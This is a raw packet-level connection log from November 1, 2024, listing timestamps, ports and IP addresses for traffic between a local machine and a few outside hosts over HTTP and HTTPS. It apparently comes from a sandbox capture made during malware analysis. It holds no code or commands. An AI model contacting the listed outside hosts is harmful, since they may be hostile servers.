Nov 1, 2024 12:34:54.504026890 CET	50034	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:54.508841038 CET	80	50034	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:54.706557035 CET	443	50035	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:54.706691027 CET	443	50035	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:54.706892014 CET	50035	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:54.706950903 CET	50035	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:54.706964016 CET	443	50035	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:54.786098003 CET	80	50034	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:54.786206961 CET	50034	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:54.906950951 CET	50034	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:54.907318115 CET	50036	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:54.912292004 CET	80	50036	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:54.912380934 CET	50036	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:54.912714958 CET	80	50034	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:54.912767887 CET	50034	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:54.929214001 CET	50036	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:54.934009075 CET	80	50036	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:55.302942991 CET	50037	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:55.302977085 CET	443	50037	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:55.303101063 CET	50037	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:55.303458929 CET	50037	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:55.303467989 CET	443	50037	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:55.816325903 CET	80	50036	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:55.818006992 CET	50036	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:55.842875004 CET	50036	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:55.847867012 CET	80	50036	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:55.904201984 CET	443	50037	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:55.904340029 CET	50037	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:55.905776024 CET	50037	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:55.905786991 CET	443	50037	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:55.906023026 CET	443	50037	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:55.941937923 CET	50037	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:55.943048000 CET	50037	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:55.943077087 CET	443	50037	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:55.943234921 CET	50037	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:55.943264961 CET	443	50037	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:55.943428993 CET	50037	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:55.943468094 CET	443	50037	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:55.945122004 CET	50037	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:55.945154905 CET	443	50037	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:55.945270061 CET	50037	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:55.945297956 CET	443	50037	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:55.945878029 CET	50037	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:55.945903063 CET	443	50037	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:55.945907116 CET	50037	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:55.945918083 CET	443	50037	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:55.946067095 CET	50037	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:55.946094990 CET	443	50037	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:55.946106911 CET	50037	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:55.946360111 CET	50037	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:55.946392059 CET	50037	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:55.953569889 CET	443	50037	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:55.953819990 CET	50037	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:55.953860044 CET	443	50037	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:55.953874111 CET	50037	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:55.953906059 CET	50037	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:55.953964949 CET	50037	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:55.959297895 CET	443	50037	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:56.125658989 CET	80	50036	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:56.128429890 CET	50036	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:56.239983082 CET	50036	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:56.240365028 CET	50038	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:56.245384932 CET	80	50038	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:56.245476961 CET	50038	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:56.245578051 CET	50038	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:56.245666027 CET	80	50036	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:56.245860100 CET	50036	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:56.250688076 CET	80	50038	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:57.036855936 CET	50029	80	192.168.2.7	185.215.113.43
Nov 1, 2024 12:34:57.037298918 CET	50039	80	192.168.2.7	185.215.113.43
Nov 1, 2024 12:34:57.042110920 CET	80	50039	185.215.113.43	192.168.2.7
Nov 1, 2024 12:34:57.042227983 CET	50039	80	192.168.2.7	185.215.113.43
Nov 1, 2024 12:34:57.042437077 CET	50039	80	192.168.2.7	185.215.113.43
Nov 1, 2024 12:34:57.042859077 CET	80	50029	185.215.113.43	192.168.2.7
Nov 1, 2024 12:34:57.042911053 CET	50029	80	192.168.2.7	185.215.113.43
Nov 1, 2024 12:34:57.047449112 CET	80	50039	185.215.113.43	192.168.2.7
Nov 1, 2024 12:34:57.164954901 CET	80	50038	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:57.165049076 CET	50038	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:57.165726900 CET	50038	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:57.170795918 CET	80	50038	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:57.454190969 CET	80	50038	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:57.454284906 CET	50038	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:57.569271088 CET	50038	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:57.569633007 CET	50040	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:57.574780941 CET	80	50040	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:57.574856043 CET	50040	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:57.575038910 CET	50040	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:57.576323986 CET	80	50038	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:57.576374054 CET	50038	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:57.581496000 CET	80	50040	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:57.642723083 CET	443	50037	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:57.642828941 CET	443	50037	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:57.642942905 CET	50037	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:57.643189907 CET	50037	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:57.643208027 CET	443	50037	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:57.749432087 CET	50041	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:57.749470949 CET	443	50041	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:57.749557018 CET	50041	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:57.749941111 CET	50041	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:57.749954939 CET	443	50041	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:57.930062056 CET	50042	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:57.930109978 CET	443	50042	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:57.930182934 CET	50042	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:57.931246996 CET	50042	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:57.931261063 CET	443	50042	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:57.960295916 CET	80	50039	185.215.113.43	192.168.2.7
Nov 1, 2024 12:34:57.960385084 CET	50039	80	192.168.2.7	185.215.113.43
Nov 1, 2024 12:34:57.961766958 CET	50032	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:57.962112904 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:57.968200922 CET	80	50032	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:57.968276978 CET	50032	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:57.968462944 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:57.968544006 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:57.968741894 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:57.973861933 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:58.317789078 CET	50041	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:58.479876995 CET	80	50040	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:58.479929924 CET	50040	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:58.482640982 CET	50040	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:58.487673044 CET	80	50040	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:58.545150995 CET	443	50042	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:58.545234919 CET	50042	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:58.546612978 CET	50042	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:58.546622038 CET	443	50042	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:58.546881914 CET	443	50042	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:58.598680019 CET	50042	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:58.618879080 CET	50042	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:58.618906975 CET	50042	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:58.619014025 CET	443	50042	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:58.789625883 CET	80	50040	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:58.789691925 CET	50040	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:58.896384954 CET	50040	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:58.896729946 CET	50044	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:58.905056000 CET	80	50044	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:58.905280113 CET	50044	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:58.905390024 CET	50044	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:58.906575918 CET	80	50040	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:58.906636000 CET	50040	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:58.913120031 CET	80	50044	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:58.929322958 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:58.929337978 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:58.929352045 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:58.929367065 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:58.929383039 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:58.929387093 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:58.929409981 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:58.929436922 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:58.931587934 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:58.931603909 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:58.931617975 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:58.931629896 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:58.931643963 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:58.931644917 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:58.931667089 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:58.931689024 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:58.936978102 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:58.937031031 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:58.937038898 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:58.937056065 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:58.937089920 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:58.937118053 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:58.939631939 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:58.939687967 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.084331989 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.084391117 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.084454060 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.084470034 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.084500074 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.084522009 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.084661961 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.084700108 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.084763050 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.084785938 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.084803104 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.084805012 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.084815979 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.084834099 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.084839106 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.084850073 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.084872007 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.084892035 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.085819006 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.085866928 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.085983992 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.086000919 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.086028099 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.086050034 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.086448908 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.086492062 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.086807013 CET	443	50042	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:59.086903095 CET	443	50042	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:59.086946964 CET	50042	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:59.087086916 CET	50042	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:59.087107897 CET	443	50042	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:59.087121964 CET	50042	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:59.087127924 CET	443	50042	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:59.186132908 CET	50045	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:59.186163902 CET	443	50045	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:59.186250925 CET	50045	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:59.186644077 CET	50045	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:59.186657906 CET	443	50045	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:59.208024979 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.208065987 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.208084106 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.208156109 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.208167076 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.208183050 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.208199024 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.208226919 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.208858967 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.208875895 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.208890915 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.208930969 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.208945990 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.209413052 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.209429979 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.209475040 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.239824057 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.239919901 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.239942074 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.243321896 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.251637936 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.251655102 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.251669884 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.251781940 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.255270004 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.331084013 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.331100941 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.331115961 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.331134081 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.331219912 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.331239939 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.331284046 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.332380056 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.332396030 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.332411051 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.332427025 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.332441092 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.332472086 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.332510948 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.333619118 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.363430977 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.363487005 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.363630056 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.375547886 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.375564098 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.375579119 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.375597954 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.375624895 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.456676006 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.456692934 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.456710100 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.456723928 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.456726074 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.456790924 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.456790924 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.457082033 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.457245111 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.457812071 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.457828045 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.457844019 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.457865000 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.457886934 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.457906961 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.457947969 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.458491087 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.458504915 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.458529949 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.458605051 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.487564087 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.487580061 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.487596989 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.487674952 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.499640942 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.499762058 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.499777079 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.499845028 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.499875069 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.580455065 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.580471992 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.580492020 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.580507040 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.580523968 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.580547094 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.581132889 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.581166983 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.581250906 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.581294060 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.581300020 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.581325054 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.581334114 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.581341982 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.581357956 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.581358910 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.581379890 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.581388950 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.611597061 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.611613035 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.611627102 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.611675978 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.611707926 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.625422955 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.625439882 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.625463009 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.625536919 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.625577927 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.625593901 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.629676104 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.709199905 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.709239960 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.709256887 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.709273100 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.709297895 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.709320068 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.709373951 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.709414005 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.709671021 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.709686041 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.709702015 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.709738970 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.709769964 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.710629940 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.710645914 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.710699081 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.736310005 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.736326933 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.736383915 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.737018108 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.737072945 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.755793095 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.755816936 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.755831957 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.755846977 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.755887032 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.755919933 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.797789097 CET	443	50045	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:59.797936916 CET	50045	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:59.799320936 CET	50045	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:59.799335957 CET	443	50045	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:59.799571037 CET	443	50045	188.114.96.3	192.168.2.7
